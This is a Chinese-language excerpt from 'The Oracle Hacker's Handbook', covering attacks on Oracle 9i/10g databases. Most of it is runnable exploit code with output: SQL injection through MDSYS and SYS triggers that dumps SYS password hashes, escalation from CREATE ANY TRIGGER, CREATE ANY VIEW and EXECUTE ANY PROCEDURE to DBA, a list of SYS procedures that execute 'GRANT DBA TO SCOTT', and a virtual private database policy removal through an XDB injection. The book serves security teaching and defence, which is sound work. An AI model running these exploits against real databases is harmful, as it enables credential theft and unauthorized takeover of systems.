The Oracle Hacker's Handbook: Hacking and Defending Oracle 下篇

Catalogue
  1. 1. 触发器(Triggers )
    1. 1.1. 利用MDSYS.SDO_GEOM_TRIG_INS1 和 SDO_GEOM_TRIG_INS1触发器
    2. 1.2. 利用MDSYS SDO_CMT_CBK_TRIG触发器
    3. 1.3. 利用SYS.CDC_DROP_CTABLE_BEFORE触发器
    4. 1.4. 利用MDSYS.SDO_DROP_USER_BEFORE触发器
  2. 2. 间接特权提升
    1. 2.1. 从CREATE ANY TRIGGER获取DBA
    2. 2.2. 从CREATE ANY VIEW获取DBA
    3. 2.3. 从EXECUTE ANY PROCEDURE获取DBA
    4. 2.4. 从CREATE PROCEDURE获取DBA
  3. 3. 攻击虚拟专用数据库
    1. 3.1. 欺骗 Oracle 删除策略
    2. 3.2. 使用原始文件访问攻击VPD
    3. 3.3. 一般特权
  4. 4. 攻击Oracle PL/SQL Web应用程序
    1. 4.1. 认识Oracle PL/SQL网关
    2. 4.2. 验证Oracle PL/SQL网关是否存在
    3. 4.3. 攻击PL/SQL网关
  5. 5. 执行操作系统命令
    1. 5.1. 通过PL/SQL运行系统命令
    2. 5.2. 通过Java运行操作系统命令
    3. 5.3. 通过DBMS_SCHEDULER运行系统命令
    4. 5.4. 通过Job Scheduler运行系统命令
    5. 5.5. 通过ALTER SYSTEM运行系统命令
  6. 6. 访问文件系统
    1. 6.1. 使用UTL_FILE 包访问文件系统
    2. 6.2. 使用Java访问文件系统
    3. 6.3. 访问二进制文件
    4. 6.4. 使用操作系统环境变量
  7. 7. 访问网络
    1. 7.1. 数据泄漏
      1. 7.1.1. 使用 UTL_TCP
      2. 7.1.2. 使用 UTL_HTTP
      3. 7.1.3. 使用 DNS 查询和 UTL_INADDR
    2. 7.2. 在泄露之前加密数据
    3. 7.3. 攻击网络上的其他系统
    4. 7.4. Java和网络
    5. 7.5. 数据库链接
  8. 8. 附录A-默认用户名和密码
  9. 9. 参考资料

The Oracle Hacker’s Handbook: Hacking and Defending Oracle

by David Litchfield John Wiley & Sons

触发器(Triggers )

在 Oracle 中,触发器是执行某些任务并在给定事件发生时自动触发的 PL/SQL 代码片段。可以为各种事件创建触发器,包括 DML 操作,如 INSERT、DELETE 和 UPDATE;并且它们可以设置为在事件之前或之后触发。触发器也可以定义为事件,例如用户登录、用户被删除或表被截断——换句话说,为所有类型的事件。当涉及到触发器时,有几个关键点需要记住。

首先,触发器以定义它的用户的权限执行。其次,就本章而言,可能更重要的是,就像任何 PL/SQL 对象一样,触发器可能容易受到攻击。在查看实际示例之前,查看一个人为的 SQL 注入示例会很有启发性。对于此示例,我们创建了两个表:一个称为 MYTABLE 以保存短字符串,另一个称为 MYTABLE_LONG 以保存长度超过 15 个字符的字符串的副本。然后我们在 MYTABLE 上创建一个触发器以在插入之前触发,这样如果有人试图将长度超过 15 个字符的字符串插入到 MYTABLE 中,副本也会存储在 MYTABLE_LONG 中。这个例子除了证明这一点之外毫无用处:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
SQL> CONNECT SCOTT/TIGER
Connected.
SQL> SET SERVEROUTPUT ON
SQL> CREATE TABLE MYTABLE (V VARCHAR2(200));

Table created.

SQL> CREATE TABLE MYTABLE_LONG (V VARCHAR2(200));

Table created.

SQL> CREATE OR REPLACE TRIGGER MYTRIGGER BEFORE INSERT ON MYTABLE
2 REFERENCING NEW AS NEWROW
3 FOR EACH ROW
4 DECLARE
5 L NUMBER;
6 S VARCHAR2(2000);
7 BEGIN
8 L:=LENGTH(:NEWROW.V);
9 IF L > 15 THEN
10 DBMS_OUTPUT.PUT_LINE('INSERTING INTO MYTABLE_LONG AS WELL');
11 S:='INSERT INTO MYTABLE_LONG (V) VALUES (''' || :NEWROW.V ||
''')';
12 EXECUTE IMMEDIATE S;
13 END IF;
14 END MYTRIGGER;
15 /

Trigger created.

SQL> SHOW ERRORS
No errors.
SQL> INSERT INTO MYTABLE (V) VALUES ('Hello, world!');

1 row created.

SQL> INSERT INTO MYTABLE (V) VALUES ('Hello, world! More text...');
INSERTING INTO MYTABLE_LONG AS WELL

1 row created.

SQL> INSERT INTO MYTABLE (V) VALUES
('__________INJECT''POINT__________');
INSERTING INTO MYTABLE_LONG AS WELL
INSERT INTO MYTABLE (V) VALUES ('__________INJECT''POINT__________')
*
ERROR at line 1:
ORA-00917: missing comma
ORA-06512: at "SCOTT.MYTRIGGER", line 9
ORA-04088: error during execution of trigger 'SCOTT.MYTRIGGER'

如果您查看触发器的文本,您会发现它容易受到 SQL 注入的攻击。 它获取用户在 INSERT 中提供的值,然后将其连接到另一个 INSERT 语句; 然后触发器执行新的 INSERT 语句:

1
2
3
S:='INSERT INTO MYTABLE_LONG (V) VALUES (''' || :NEWROW.V || ''')';

EXECUTE IMMEDIATE S;

最后一条INSERT语句的结果是错误,说明触发器确实存在SQL注入漏洞。

利用MDSYS.SDO_GEOM_TRIG_INS1 和 SDO_GEOM_TRIG_INS1触发器

在 9i 和 10g 的早期版本中,10g 拥有的 SDO_GEOM_TRIG_INS1 触发器很容易受到 SQL 注入的攻击,这与上一节中显示的示例类似。 当对 USER_SDO_GEOM_METADATA 表执行 INSERT 时触发触发器,该表再次归 MDSYS 所有。 由于 PUBLIC 有权插入此表,因此任何人都可以触发触发器。 触发器执行以下 PL/SQL:

1
2
3
4
5
6
7
8
9
10
..
..
EXECUTE IMMEDIATE
'SELECT user FROM dual' into tname;
stmt := 'SELECT count(*) FROM SDO_GEOM_METADATA_TABLE ' ||
'WHERE sdo_owner = ''' || tname || ''' ' ||
' AND sdo_table_name = ''' || :n.table_name || ''' '||
' AND sdo_column_name = ''' || :n.column_name || ''' ';
..
..

在这里, :new.table_name 和 :new.column_name 会受到用户和注入的 SQL 的影响。 PUBLIC 有权插入此表。 因此,触发器可以被滥用以将 SQL 作为 MDSYS 运行。 例如,低权限用户可以从 USER$ 表中选择 SYS 的密码哈希:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
set serveroutput on
create or replace function y return varchar2 authid current_user is
buffer varchar2(30);
stmt varchar2(200):='select password from sys.user$ where name
=''SYS''';
begin
execute immediate stmt into buffer;
dbms_output.put_line('SYS passord is: '|| buffer);
return 'foo';
end;
/
grant execute on y to public;
insert into mdsys.user_sdo_geom_metadata (table_name,column_name) values
('X'' AND SDO_COLUMN_NAME=scott.y--','test');

returns

SYS passord is: D9CF6D3630046AC9

1 row created.

SDO_GEOM_TRIG_INS1 触发器也由 MDSYS 拥有,以非常相似的方式易受攻击。 当在 MDSYS.USER_SDO_LRS_METADATA 上发生 INSERT 时触发此触发器,并执行以下代码:

1
2
3
4
5
6
7
8
..
stmt := 'SELECT count(*) FROM SDO_LRS_METADATA_TABLE ' ||
' WHERE sdo_owner = ''' || UPPER(user_name) || ''' ' ||
' AND sdo_table_name = ''' || UPPER(:n.table_name) || ''' ' ||
' AND sdo_column_name = ''' || UPPER(:n.column_name) || ''' ';
EXECUTE IMMEDIATE stmt INTO vcount;
..
..

利用MDSYS SDO_CMT_CBK_TRIG触发器

MDSYS 拥有的 SDO_CMT_CBK_TRIG 触发器在对 SDO_TXN_IDX_INSERTS 表(也由 MDSYS 拥有)执行 DELETE 时触发。 PUBLIC 对该表具有 SELECT、INSERT、UPDATE 和 DELETE 对象权限。 因此,任何人都可以通过从表中删除一行来触发 SDO_CMT_CBK_TRIG 触发器。 这个触发器不容易受到 SQL 注入的攻击,而是一个更有趣和微妙的漏洞。 这会影响 9i 和 10g 的早期版本。 解释变得有点详细和复杂。

如果您检查触发器的文本,您可以看到在 DELETE 实际发生之前,会从 SDO_CMT_DBK_FN_TABLE 和 SDO_CMT_CBK_DML_TABLE 表中选择一个函数列表,然后执行这些函数。

如果攻击者能够以某种方式在这些表中列出他们自己的函数,那么它们也会在触发器触发时被执行。 PUBLIC 没有为这些表中的任何一个设置对象权限,因此它们不能直接插入自己的函数名称。但是,MDSYS 拥有的 PRVT_CMT_CBK 包有两个过程,CCBKAPPLROWTRIG 和 EXEC_CBK_FN_DML,它们将模式和函数名称作为参数,然后插入到 SDO_CMT_DBK_FN_TABLE 和 SDO_CMT_CBK_DML_TABLE 表中。 PUBLIC 对 PRVT_CMT_CBK 包具有 EXECUTE 权限,并且因为它没有用 ‘AUTHID CURRENT_USER’ 关键字定义,所以包使用 MDSYS的定义者而不是调用者的权限执行。因此,任何人都可以将函数名间接插入到 SDO_CMT_DBK_FN_TABLE 和 SDO_CMT_CBK_DML_TABLE 表中。因此,当 SDO_TXN_IDX_INSERTS 上发生 DELETE 时,任何人都可以影响 SDO_CMT_CBK_TRIG 触发器采取的操作 - 换句话说,任何人都可以获得触发器来执行任意函数。更重要的是,这个函数在触发器中执行时,将以 MDSYS 的权限运行,攻击者可以利用它来获得提升的权限。

此示例脚本将由 SCOTT 等低权限用户运行,将获取 SYS 帐户的密码哈希。 为此,它首先创建一个名为 USERS_AND_PASSWORDS 的表。 此表是 SYS 帐户的密码哈希结束的位置。 然后创建函数 GET_USERS_AND_PWDS。 这是攻击者放置他们的 SQL 漏洞利用代码的地方。 在这种情况下,该函数利用 MDSYS 具有 SELECT ANY TABLE 特权从 USER$ 表中选择 SYS 的密码哈希这一事实。 创建表和函数后,PUBLIC 就可以访问它们。 这使 MDSYS 能够访问它们。 在此之后,执行 MDSYS.PRVT_CMT_CBK.CCBKAPPLROWTRIG 和 MDSYS.PRVT_CMT_CBK.EXEC_CBK_FN_DML 过程,将模式 SCOTT 和函数 GET_USERS_AND_PWDS 插入到 SDO_CMT_DBK_FN_TABLE 和 SDO_CMT_CBK 表中。

一切就绪后,将一行插入到 SDO_TXN_IDX_INSERTS 中,然后删除。 当删除发生时,触发器被触发,它检索 SCOTT.GET_USERS_AND_PWDS 函数,然后执行它。 当函数执行时,SYS 的密码哈希从 SYS.USER$ 中选择,然后插入到 SCOTT 的 USERS_AND_PASSWORDS 表中。 最后,SCOTT 从表中选择散列,然后将其输入到他的 Oracle 密码破解程序中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
CREATE TABLE USERS_AND_PASSWORDS (USERNAME VARCHAR2(200), PASSWORD
VARCHAR2(200));
/
GRANT SELECT ON USERS_AND_PASSWORDS TO PUBLIC;
GRANT INSERT ON USERS_AND_PASSWORDS TO PUBLIC;
CREATE OR REPLACE FUNCTION GET_USERS_AND_PWDS(DUMMY1 VARCHAR2, DUMMY2
VARCHAR2) RETURN NUMBER AUTHID CURRENT_USER IS
BEGIN
EXECUTE IMMEDIATE 'INSERT INTO SCOTT.USERS_AND_PASSWORDS
(USERNAME,PASSWORD) VALUES ((SELECT NAME FROM SYS.USER$ WHERE NAME =
''SYS''),(SELECT PASSWORD FROM SYS.USER$ WHERE NAME = ''SYS''))';
RETURN 1;
END;
/
GRANT EXECUTE ON GET_USERS_AND_PWDS TO PUBLIC;
EXEC MDSYS.PRVT_CMT_CBK.CCBKAPPLROWTRIG('SCOTT','GET_USERS_AND_PWDS');
EXEC
MDSYS.PRVT_CMT_CBK.EXEC_CBK_FN_DML(0,'AAA','BBB','SCOTT','GET_USERS_AND_
PWDS');
INSERT INTO MDSYS.SDO_TXN_IDX_INSERTS (SDO_TXN_IDX_ID,RID)
VALUES('FIRE','FIRE');
DELETE FROM MDSYS.SDO_TXN_IDX_INSERTS WHERE SDO_TXN_IDX_ID = 'FIRE';
SELECT * FROM USERS_AND_PASSWORDS;

利用SYS.CDC_DROP_CTABLE_BEFORE触发器

SYS 拥有的 10g 第 2 版上的 CDC_DROP_CTABLE_BEFORE 触发器容易受到 SQL 注入的攻击。 (默认情况下,10g 第 1 版不易受到攻击,因为虽然触发器存在,但并未启用。)每当删除表时,触发器就会触发,并执行 sys.dbms_cdc_ipublish.change_table_trigger 过程。 此过程调用 ChangeTable Trigger Java 方法,该方法执行以下 SQL:

1
2
3
String sqltext = "SELECT COUNT(*) FROM SYS.CDC_CHANGE_TABLES$ WHERE
CHANGE_TABLE_SCHEMA='" + schema + "' AND CHANGE_TABLE_NAME='" +
tableName + "'";

由于通过使用嵌入式 SQL 创建表名,将要删除的表的名称逐字放入此 SELECT 查询中,因此我们可以以 SYS 身份执行 SQL:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
SQL> connect scott/tiger
Connected.
SQL> set serveroutput on
SQL> -- create the function we're going to inject
SQL> create or replace function gp return varchar2 authid current_user
SQL> is
2 STMT VARCHAR2(400):= 'select password from dba_users where username
= ''SYS''';
3 P VARCHAR2(200);
4 BEGIN
5 EXECUTE IMMEDIATE STMT INTO P;
6 dbms_output.put_line('SYS password is '|| P);
7 RETURN 'SUCCESS';
8 END;
9 /

Function created.

SQL> GRANT EXECUTE ON GP TO PUBLIC;

Grant succeeded.

SQL> -- create a table with our function name embedded
SQL> create table "O'||SCOTT.GP||'O" (x number);

Table created.

SQL> -- now drop the table and cause the trigger to fire
SQL> drop table "O'||SCOTT.GP||'O";

SYS password is B747B510C5F70DED

利用MDSYS.SDO_DROP_USER_BEFORE触发器

在 10g 第 2 版中,MDSYS 拥有的 SDO_DROP_USER_BEFORE 触发器容易受到 SQL 注入攻击。 但是,在 10g 第 2 版中,MDSYS 没有那么多权限,而它是 Oracle 9i 中的 DBA。 这给我们带来了一个重要的问题,也是一个完美的地方来完成本章并继续下一章:当您所利用的东西的所有者不是 DBA 时,如何获得 DBA 特权? 您将在下一章中学习如何执行此操作。

间接特权提升

在非 DBA 用户拥有的代码中存在错误的情况下会发生什么? 是否仍有可能利用该漏洞并获得 DBA 权限? 嗯,答案取决于多种因素,例如易受攻击的用户实际拥有的特权。 在本章中,我们将研究如何滥用某些权限来获得 DBA 权限; 而且,正如您将看到的,有些比其他更容易。 从上一章继续,我们将首先查看 CREATE ANY TRIGGER 权限。 事实上,许多 CREATE ANY 特权意味着您离 DBA 特权仅一步之遥,但您还将看到,即使只是 CREATE PROCEDURE 特权也常常会导致 DBA。

从CREATE ANY TRIGGER获取DBA

使用上一章中的示例,假设您有一个帐户 MDSYS,该帐户拥有一个容易受到 SQL 注入攻击的触发器。 在 10g 第 2 版中,MDSYS 不是 DBA,但它确实具有 CREATE ANY TRIGGER 系统特权。 这可以用来获得 DBA 权限。 您可能已经猜到或已经知道,CREATE ANY TRIGGER 权限允许被授权者在任何模式中创建触发器,唯一的限制是触发器不能放置在 SYS 拥有的对象上。 从 CREATE ANY TRIGGER 到 DBA 的过程如下。

首先,您确定谁是系统上的 DBA 以及他们拥有哪些表或视图,PUBLIC 可以从哪些表或视图中插入、更新或删除。 SYSTEM 用户提供了一个很好的例子。 默认情况下,它是一个 DBA,它拥有许多 PUBLIC 可以对其执行 DML 操作的表。 一旦找到 DBA,您就可以在他们的模式中为该表创建一个触发器,然后执行设置为触发它的 DML 操作。 触发器里面的东西是关键,因为触发器以所有者的权限执行; 在 SYSTEM 的情况下,您需要获取触发器来执行您创建为 AUTHID CURRENT_USER 的过程。 您可以做任何您想做的事情,因为 SYSTEM 会进入此过程。 让我们看一下 MDSYS 示例。

MDSYS.SDO_DROP_USER_BEFORE 触发器在执行 drop user 命令时执行。 此外,由于触发器是“之前”触发器 - 因此在采取任何操作之前触发 - 被删除的用户不一定存在,并且发出命令的用户不必具有删除用户的权限 。因此,任何人都可以发出 DROP USER FOO 并且触发器将在后台触发。 如果您查看 SDO_DROP_USER_BEFORE 触发器,您可以看到它执行以下操作:

1
2
3
4
5
EXECUTE IMMEDIATE
'begin ' ||
'mdsys.rdf_apis_internal.' ||
'notify_drop_user(''' || dictionary_obj_name || '''); ' ||
'end;';

这里,dictionary_obj_name 是被删除的用户。 可以在此处注入任意 PL/SQL,如下例所示:

1
2
3
4
5
6
7
8
9
10
SQL> connect scott/tiger
Connected.
SQL> set serveroutput on
SQL>
SQL> drop user "uu');dbms_output.put_line('AA";
AA
drop user "uu');dbms_output.put_line('AA'
*
ERROR at line 1:
ORA-01918: user 'uu');dbms_output.put_line('AA' does not exist

注意第六行的 AA。 这是将 DBMS_OUTPUT.PUT_LINE(‘AA’ 注入到 DROP USER 语句中的输出。现在让我们继续并从这里获取 DBA 权限,如前所述。我们将注入一个在 SYSTEM.OL$ 表上创建触发器的过程 , PUBLIC 具有 INSERT 的权限。创建后,您插入到 OL$ 表中,触发触发器并获得 DBA 权限:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
connect scott/tiger
set serveroutput on

-- this procedure will grant scott dba privs
-- it will be executed from the trigger we're
-- about to create in the SYSTEM schema
-- on the OL$ table

create or replace procedure z authid current_user is
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
END;
/
grant execute on Z to public;

-- This is the function that creates the trigger
-- This will be called from the procedure we inject

create or replace function tcf return varchar2 authid current_user is
PRAGMA AUTONOMOUS_TRANSACTION;
STMT VARCHAR2(400):= 'create or replace trigger'
||' system.the_trigger '
||' before insert on '
||' system.OL$ '
||' DECLARE msg VARCHAR2(30); BEGIN SCOTT.Z;
dbms_output.put_line("aa");
end the_trigger;';
BEGIN
EXECUTE IMMEDIATE STMT;
COMMIT;
RETURN 'SUCCESS';
END;
/
grant execute on tcf to public;

-- this is the procedure we inject into the drop user statement

create or replace procedure g(v varchar2) authid current_user is
BEGIN
dbms_output.put_line(scott.tcf);
END;
/
grant execute on g to public;

-- now we launch it all

drop user "');scott.g('";

-- The trigger should be created now
-- Time to fire it and get dba privs

insert into system.OL$ (OL_NAME) VALUES ('OWNED!');

connect scott/tiger
set serveroutput on
SELECT USERNAME,PASSWORD FROM DBA_USERS;
DROP TRIGGER SYSTEM.THE_TRIGGER;

从CREATE ANY VIEW获取DBA

您可以以类似的方式利用 CREATE ANY VIEW。 默认情况下,在 10g 第 2 版中,授予此权限的唯一用户是 SYS; 如果您可以将 SQL 注入 SYS 过程,那么您无论如何都已经是 DBA。 出于说明目的,让我们假设一个具有此权限的测试用户并创建一个易受攻击的过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
connect / as sysdba
create user vtest identified by vtest;
grant create session to vtest;
grant create any view to vtest;
grant create procedure to vtest;

-- now connect as vtest
connect vtest/vtest
set serveroutput on
-- create a vulnerable procedure
create or replace procedure vproc (vt varchar2) is
stmt varchar2(200);
num number;
begin
stmt:='select count(*) from ' || vt;
execute immediate stmt into num;
dbms_output.put_line(num);
end;
/
grant execute on vproc to public;
-- test it
exec vproc('ALL_OBJECTS');

有了我们的易受攻击的程序和具有 CREATE ANY VIEW 权限的测试用户,让我们开始利用它来获得 DBA 权限。

我们需要在 DBA 的模式中创建视图,然后以某种方式让高权限用户访问该视图。 第二部分可能听起来很难,但实际上并非如此。 SYS 拥有的数百个过程实例将视图或表的名称作为参数,然后它进行访问。 出于演示目的,让我们节省时间并快速创建我们自己的 - 通过使用 DBMS_ASSERT.QUALIFIED_SQL_NAME 函数确保它不会受到 SQL 注入的影响:

1
2
3
4
5
6
7
8
9
10
11
connect / as sysdba
create or replace procedure sproc (vt varchar2) is
stmt varchar2(200);
num number;
begin
stmt:='select count(*) from ' || dbms_assert.qualified_sql_name(vt);
execute immediate stmt into num;
dbms_output.put_line(num);
end;
/
grant execute on sproc to public;

好的,现在来获得 DBA 权限。 我们要做的是将我们自己的过程注入到 VTEST.VPROC 过程中,该过程在 SYSTEM 模式中创建一个视图。 我们在这里选择 SYSTEM 模式是因为 CREATE ANY VIEW 权限不允许我们在 SYS 模式中创建视图。 我们创建的视图将调用我们拥有的函数,并将我们的最终代码放在此处以获取 DBA 权限。 当我们通过 SYS.SPROC 过程访问视图时,将执行此函数,授予我们 DBA 权限:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
connect scott/tiger

-- create the function that will be called from the view
-- and grants us DBA privileges

create or replace function get_dba return number authid current_user is
pragma autonomous_transaction;
begin
execute immediate 'grant dba to scott';
commit;
return 1;
end;
/
grant execute on get_dba to public;

-- create the function that we'll inject into VTEST.VPROC
-- and creates a view in the SYSTEM schema which calls
-- our get_dba function

create or replace function create_the_view return number authid
current_user is

pragma autonomous_transaction;
begin
execute immediate 'create or replace view system.the_sysview (val) as
select 1 from dual where scott.get_dba()=1';
commit;
return 1;
end;
/
grant execute on create_the_view to public;

-- now inject the create_the_view function into VTEST.VPROC

exec vtest.vproc('ALL_OBJECTS where scott.create_the_view() = 1--');

-- The view should now be created
-- All that's left to do is get our dba privs

exec sys.sproc('SYSTEM.THE_SYSVIEW');

-- now claim our newly issued privileges
set role dba
-- and use them
select username, password from sys.dba_users;

从EXECUTE ANY PROCEDURE获取DBA

我几乎不需要解释这一点。 毋庸置疑,当拥有此权限的用户可以找到 SYS 拥有的执行任意 SQL 的过程时,他们可以立即获得 DBA。 有很多这样的程序,如下所示:

1
2
3
4
5
6
7
8
9
EXEC SYS.LTADM.EXECSQL('GRANT DBA TO SCOTT');
EXEC SYS.LTADM.EXECSQLAUTO('GRANT DBA TO SCOTT');
EXEC SYS.DBMS_PRVTAQIM.EXECUTE_STMT('GRANT DBA TO SCOTT');
EXEC SYS.DBMS_STREAMS_RPC.EXECUTE_STMT('GRANT DBA TO SCOTT');
EXEC SYS.DBMS_AQADM_SYS.EXECUTE_STMT('GRANT DBA TO SCOTT');
EXEC SYS.DBMS_STREAMS_ADM_UTL.EXECUTE_SQL_STRING('GRANT DBA TO SCOTT');
EXEC INITJVMAUX.EXEC('GRANT DBA TO SCOTT',TRUE);
EXEC SYS.DBMS_REPACT_SQL_UTL.DO_SQL('GRANT DBA TO SCOTT',TRUE);
EXEC SYS.DBMS_AQADM_SYSCALLS.KWQA_3GL_EXECUTESTMT('begin null; end;');

从CREATE PROCEDURE获取DBA

好的 - 这就是问题所在。 我们在一个只有很少权限的用户拥有的包中发现了一个 SQL 注入缺陷。 OLAPSYS、MDSYS、DBSNMP 和 ORDSYS 等帐户被授予创建过程权限。 因此,如果他们更改了其他人拥有的另一个过程所依赖的一个过程,那么他们就可以开始以该其他用户的身份执行代码。 如果该用户不是 DBA,那么您至少更近了一步。 例如,SYS 拥有的 VALIDATE_CONTEXT 过程依赖于 CTXSYS 拥有的 DRUE 包。 如果 CTXSYS 更改此包并将漏洞利用代码放入其中,则 CTXSYS 可以获得 DBA 权限。 因此,如果 CTXSYS 拥有一个容易受到 SQL 注入攻击的 PUBLIC 可执行过程,那么就有可能获得 DBA 特权。 碰巧的是,在 10g 第 2 版 CTXSYS 上没有此特权,但您明白了。 要查看哪个过程取决于什么,请检查 DBA_DEPENDENCIES 视图。

攻击虚拟专用数据库

本章假设您了解虚拟专用数据库 (VPD)。 如果您不了解,我推荐 David Knox 的 Effective Oracle Database 10g Security by Design(McGraw-Hill,2004 年)。 简而言之,VPD 是 Oracle 内置的一种安全机制,它允许细粒度的访问控制。 它用于强制执行安全策略。 本质上,VPD 只允许用户访问策略指定他们可以访问的数据,而不能访问更多数据。 但是,有多种方法可以攻击 VPD。 本章看几个。

欺骗 Oracle 删除策略

VPD 是使用 DBMS_RLS 包创建的。 也可以使用 DBMS_FGA 包——它们的作用完全相同。 顺便提一下,RLS 代表行级安全,而 FGA 代表细粒度访问。 如果我们想看看谁可以执行这个包,我们得到以下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
SQL> select grantee,privilege from dba_tab_privs where table_name
='DBMS_RLS';

GRANTEE PRIVILEGE
------------------------------
EXECUTE_CATALOG_ROLE EXECUTE

XDB EXECUTE
WKSYS EXECUTE
SQL> select grantee,privilege from dba_tab_privs where table_name
='DBMS_FGA';

GRANTEE PRIVILEGE
------------------------------
EXECUTE_CATALOG_ROLE EXECUTE

综上所述,如果我们可以将代码作为 XDB 或 WKSYS 执行,那么我们就可以操纵 RLS 策略。 在开始之前,让我们设置一个简单的 VPD。 首先,创建将拥有 VPD 的用户:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
SQL> CONNECT / AS SYSDBA
Connected.
SQL> CREATE USER VPD IDENTIFIED BY PASS123;

User created.

SQL> GRANT CREATE SESSION TO VPD;

Grant succeeded.

SQL> GRANT CREATE TABLE TO VPD;

Grant succeeded.

SQL> GRANT CREATE PROCEDURE TO VPD;

SQL> GRANT UNLIMITED TABLESPACE TO VPD;

Grant succeeded.

SQL> GRANT EXECUTE ON DBMS_RLS TO VPD;

Grant succeeded.

完成后,我们可以设置一个表用作 VPD。 在这个例子中,我们将创建一个存储army订单的表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
SQL> CONNECT VPD/PASS123
Connected.
SQL> CREATE TABLE VPDTESTTABLE (CLASSIFICATION VARCHAR2(20),
2 ORDER_TEXT VARCHAR(20), RANK VARCHAR2(20));

Table created.

SQL> GRANT SELECT ON VPDTESTTABLE TO PUBLIC;

Grant succeeded.

SQL> INSERT INTO VPDTESTTABLE (CLASSIFICATION, ORDER_TEXT, RANK) VALUES
('SECRET','CAPTURE ENEMY BASE','GENERAL');

1 row created.

SQL> INSERT INTO VPDTESTTABLE (CLASSIFICATION, ORDER_TEXT, RANK)
VALUES('UNCLASSIFIED','UPDATE DUTY ROTA','CORPORAL');

1 row created.

SQL> INSERT INTO VPDTESTTABLE (CLASSIFICATION, ORDER_TEXT, RANK)
VALUES('SECRET','INVADE ON TUESDAY','COLONEL');

1 row created.

SQL> INSERT INTO VPDTESTTABLE (CLASSIFICATION, ORDER_TEXT, RANK)
VALUES('UNCLASSIFIED','POLISH BOOTS','MAJOR');

1 row created.

在设置 VPD 之前,因为我们已授予 PUBLIC 执行权限,任何人都可以访问标记为 SECRET 的订单:

1
2
3
4
5
6
7
8
9
10
SQL> CONNECT SCOTT/TIGER
Connected.
SQL> SELECT * FROM VPD.VPDTESTTABLE;

CLASSIFICATION ORDER_TEXT RANK
-------------------- -------------------- ---------
SECRET CAPTURE ENEMY BASE GENERAL
UNCLASSIFIED UPDATE DUTY ROTA CORPORAL
SECRET INVADE ON TUESDAY COLONEL
UNCLASSIFIED POLISH BOOTS MAJOR

我们将设置一个虚拟专用数据库来防止这种情况。 首先,我们创建一个返回谓词的函数——本质上是一个 where 子句,它被附加到对表的查询的末尾:

1
2
3
4
5
6
7
8
9
10
11
12
13
SQL> CONNECT VPD/PASS123
Connected.
SQL> CREATE OR REPLACE FUNCTION HIDE_SECRET_ORDERS(p_schema IN
VARCHAR2,p_object IN VARCHAR2)
2 RETURN VARCHAR2
3 AS
4 BEGIN
5 RETURN 'CLASSIFICATION !=''SECRET''';
6 END;

7 /

Function created.

创建函数后,现在可以使用它来执行策略 - 我们将其称为 SECRECY:

1
2
3
4
5
6
7
8
9
10
SQL> BEGIN
2 DBMS_RLS.add_policy
3 (object_schema => 'VPD',
4 object_name => 'VPDTESTTABLE',
5 policy_name => 'SECRECY',
6 policy_function => 'HIDE_SECRET_ORDERS');
7 END;
8 /

PL/SQL procedure successfully completed.

现在,如果我们以 SCOTT 的身份重新连接并从此表中选择,我们将只会看到non-secret 订单:

1
2
3
4
5
6
7
8
SQL> CONNECT SCOTT/TIGER
Connected.
SQL> SELECT * FROM VPD.VPDTESTTABLE;

CLASSIFICATION ORDER_TEXT RANK
-------------------- -------------------- --------------
UNCLASSIFIED UPDATE DUTY ROTA CORPORAL
UNCLASSIFIED POLISH BOOTS MAJOR

是时候再次访问了……

早些时候有人指出 XDB 可以执行 DBMS_RLS 包。 从理论上讲,如果我们能在 XDB 拥有的任何包中发现缺陷,我们就可以利用它来删除策略。 在寻找这样一个缺陷以将理论变为实际之后,我们在 DB_PITRIG_PKG 包中遇到了一个 - SQL 注入缺陷:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
SQL> CONNECT SCOTT/TIGER
Connected.
SQL> SELECT * FROM VPD.VPDTESTTABLE;

CLASSIFICATION ORDER_TEXT RANK
-------------------- -------------------- --------------
UNCLASSIFIED UPDATE DUTY ROTA CORPORAL
UNCLASSIFIED POLISH BOOTS MAJOR

SQL> CREATE OR REPLACE FUNCTION F RETURN NUMBER AUTHID CURRENT_USER IS
2 PRAGMA AUTONOMOUS_TRANSACTION;

3 BEGIN
4 DBMS_OUTPUT.PUT_LINE('HELLO');
5 EXECUTE IMMEDIATE 'BEGIN
SYS.DBMS_RLS.DROP_POLICY(''VPD'',''VPDTESTTABLE'',''SECRECY''); END;';
6 RETURN 1;
7 COMMIT;
8 END;
9 /

Function created.

SQL> CREATE TABLE FOO (X NUMBER);

SQL> EXEC XDB.XDB_PITRIG_PKG.PITRIG_DROP('SCOTT"." FOO" WHERE
1=SCOTT.F()--','BBBB');

PL/SQL procedure successfully completed.

SQL> SELECT * FROM VPD.VPDTESTTABLE;

CLASSIFICATION ORDER_TEXT RANK
-------------------- -------------------- --------------------
SECRET CAPTURE ENEMY BASE GENERAL
UNCLASSIFIED UPDATE DUTY ROTA CORPORAL
SECRET INVADE ON TUESDAY COLONEL
UNCLASSIFIED POLISH BOOTS MAJOR

SQL>

